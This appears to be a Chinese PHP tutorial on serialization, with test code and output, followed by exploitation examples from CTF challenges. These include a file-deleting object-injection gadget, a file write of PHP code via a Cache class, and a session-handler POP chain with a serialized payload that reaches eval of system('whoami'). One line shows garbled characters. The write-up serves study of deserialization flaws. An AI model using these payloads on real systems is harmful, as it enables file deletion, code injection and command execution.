- 相關(guān)推薦
簡單分析PHP中序列化用法介紹
序列化在我們學習php中都會有用到了對于序列化我們常用的函數(shù)有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:
0x00 序列化函數(shù)
serialize():返回帶有變量類型和值的字符串
unserialize():想要將已序列化的字符串變回 PHP 的值
測試代碼:
<?php
class test{
var $a;
var $b;
function __construct($a,$b,$c){
$a = $a;
$this->b = $b;
}
}
class test1 extends test{
function __construct($a){
$this->a = $a;
}
}
$a = 'hello';
$b = 123;
$c = false;
$d = new test('helloa','hellob','helloc');
$e = new test1('hello');
var_dump(serialize($a));
var_dump(serialize($b));
var_dump(serialize($c));
var_dump(serialize($d));
var_dump(serialize($e));
?>
運行結(jié)果:
string 's:5:"hello";' (length=12)
string 'i:123;' (length=6)
string 'b:0;' (length=4)
string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)
string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)
序列化字符串格式: 變量類型:變量長度:變量內(nèi)容 。
如果序列化的是一個對象,序列化字符串格式為:
變量類型:類名長度:類名:屬性數(shù)量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內(nèi)容}
將上述結(jié)果反序列化輸出,執(zhí)行結(jié)果:
string 'hello' (length=5)
int 123
boolean false
object(test)[1]
public 'a' => null
public 'b' => string 'hellob' (length=6)
object(test1)[1]
public 'a' => string 'hello' (length=5)
public 'b' => null
0x01 對象序列化
當序列化對象時,PHP 將在序列動作之前調(diào)用該對象的成員函數(shù) sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調(diào)用 wakeup()成員函數(shù)。
在serialize()函數(shù)執(zhí)行時,會先檢查類中是否定義了 sleep()函數(shù),如果存在,則首先調(diào)用 sleep()函數(shù),如果不存在,就保留序列字符串中的所有屬性。
在unserialize()函數(shù)執(zhí)行時,會先檢查是否定義了 wakeup()函數(shù)。如果 wakeup()存在,將執(zhí)行__wakeup()函數(shù),會使變量被重新賦值。
serialize()測試代碼:
<?php
class test{
var $a;
var $b;
function __construct($a,$b,$c){
$this->a = $a;
$this->b = $b;
}
function __sleep(){
echo "b has changed"."\n";
$this->b = 'hib';
return $this->b;
}
function __wakeup(){
echo "a has changed"."\n";
$this->a = 'hia';
}
}
class test1 extends test{
function __construct($a){
$this->a = $a;
}
}
$d = new test('helloa','hellob','helloc');
$e = new test1('hello');
serialize($d);
serialize($e);
var_dump($d);
var_dump($e);
?>
執(zhí)行結(jié)果:
b has changed b has changed
object(test)[1]
public 'a' => string 'helloa' (length=6)
public 'b' => string 'hib' (length=3)
object(test1)[2]
public 'a' => string 'hello' (length=5)
public 'b' => string 'hib' (length=3)
unserialize()測試代碼:
class test{
var $a;
var $b;
function __construct($a,$b,$c){
$this->a = $a;
$this->b = $b;
}
function __sleep(){
echo "b has changed"."\n";
$this->b = 'hib';
return $this->b;
}
function __wakeup(){
echo "a has changed"."\n";
$this->a = 'hia';
}
}
class test1 extends test{
function __construct($a){
$this->a = $a;
}
}
$d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;
$e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;
var_dump(unserialize($d));
var_dump(unserialize($e));
運行結(jié)果:
a has changed
object(test)[1]
public 'a' => string 'hia' (length=3)
public 'b' => string 'hellob' (length=6)
a has changed
object(test1)[1]
public 'a' => string 'hia' (length=3)
public 'b' => null
0x02 PHP序列化的利用
1、magic函數(shù)和序列化
參考: php對象注入
除了 sleep()和 wakeup()函數(shù),在序列化時會執(zhí)行外,還有下面幾種利用方式。
Class File
{
function __construct($var,$file1,$file2){
$this->var = $var;
$this->file1 = $file1;
$this->file2 = $file2;
echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';
}
function __destruct(){
unlink(dirname(__FILE__) . '/' . $this->file1);
echo $this->file1.'deleted';
}
function __toString(){
return file_get_contents($this->file2);
}
}
// $file = new File('hello','123.txt','456.php');
// var_dump(serialize($file));
echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');
。 construct()函數(shù),在實例化一個對象時被調(diào)用,一般用來給屬性賦值, destruct()在實例化對象完成后執(zhí)行,__toString()函數(shù)在echo一個對象時被調(diào)用)
construct()函數(shù)內(nèi)定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經(jīng)服務器上已經(jīng)存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內(nèi)容。
執(zhí)行結(jié)果:
123.txtdeleted
查看源碼:
<?php echo 123; ?>123.txtdeleted
將字符串反序列化后,由于已經(jīng)對變量賦過值,那么就不會再執(zhí)行 construct()函數(shù),在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結(jié)束后執(zhí)行了, tostring()函數(shù)在echo unserialize()處,也被執(zhí)行了
如果說在當前頁面中有request系列函數(shù),那么就可以造成php對象注入:
http://drops.wooyun.org/papers/4820
2、三個白帽挑戰(zhàn)賽第三期
是一道源碼審計題,題目大致是sql注入結(jié)合序列化寫入文件
部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關(guān)的部分源碼):
class Cache extends \ArrayObject
{
public $path;
function __construct($path)
{
parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);
$this->path = $path;
if(file_exists($path)){
$this->cache = unserialize(file_get_contents($this->path));
}
function offset(){
//一些不知道干嘛用的代碼
}
}
function __destruct()
{
$cache = $this->serialize();
file_put_contents($this->path, $cache);
}
}
又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:
include('cache.php');
$cache = new Cache('path.txt');
這題好像是這樣的:
通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權(quán)限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內(nèi)容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內(nèi)容,并且反序列化內(nèi)容,結(jié)束時再經(jīng)過序列化存進文件中。所以可以在可控文件中構(gòu)造序列化字符串,改變當前的path屬性為我們想要的目錄。
path.txt:
C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}
上述字符串是通過輸出serialize(一個實例化的Cache對象)構(gòu)造的,當__construct()執(zhí)行時,就會將上述字符串反序列化,此時已經(jīng)實例化了一個cache對象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:
$cache = $this->serialize();
變成了:
$cache = serialize($this->cache);
那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。
所以,現(xiàn)在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是
C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。
兩個對象實例化結(jié)束后,會調(diào)用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內(nèi)容寫進了path.php中。
3、安恒ctf web3
一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結(jié)合。
session上傳進度:
參考: upload-progress
當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name
測試代碼:
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="123123" />
<input type="submit" />
</form>
<?php
session_start();
var_dump($_SESSION);
?>
。ㄒ榭吹缴蟼鱯ession,INI貌似要設置這個session.upload_progress.cleanup = Off)
session序列化處理器:
參考: session序列化
當session.auto_start = 0時:
兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現(xiàn)安全問題。
經(jīng)過測試發(fā)現(xiàn)在1.php頁面注冊session.serialize_handler=‘php_serialize’;
在2.php中注冊session.serialize_handler=‘php’;
那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串
如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
那么會按照 php 處理器的反序列化格式讀取數(shù)據(jù),成功地實例化了該對象。
反之,如果是從php->php_serialize,是不可行的。
當session.auto_start = 1時:
只能注入 PHP 的內(nèi)置類
web3 源碼:
class.php:
<?php
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo $this->varr;
}
echo "這是foo1的析構(gòu)函數(shù)";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "這是foo2的析構(gòu)函數(shù)";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "這是foo3的析構(gòu)函數(shù)";
}
}
?>
index.php:
<?php
ini_set('session.serialize_handler', 'php');
require("./sessionTest.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
想辦法讓程序執(zhí)行foo3的excute()函數(shù),就要通過foo2的 toString(),要執(zhí)行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;
所以這樣構(gòu)造:
include('class.php');
$t1 = new foo1;
$t2 = new foo2;
$t3 = new foo3;
$t3->varr = "system('whoami');";
$t2->obj = $t3;
$t1->varr = $t2;
$s1 = serialize($t1);
var_dump($s1);
構(gòu)造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}
所以構(gòu)造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發(fā)session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。
有兩類不同的插法~
1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS
session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值
2、將序列化字符串插入post內(nèi)容中
因為session會存上傳文件的內(nèi)容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數(shù)為止,變成了session名,name參數(shù)|后面的payload變成了session值。
【簡單分析PHP中序列化用法介紹】相關(guān)文章:
php中dirname()和--FILE--常量的用法04-01
PHP中MySQL、MySQLi和PDO的用法和區(qū)別03-10
PHP對象注入的實例分析03-15
PHP中curl的使用實例04-01
PHP中關(guān)于類的定義04-01
php中session的實現(xiàn)原理以及大網(wǎng)站應用應注意的問題分析04-01
PHP中函數(shù)的使用說明03-30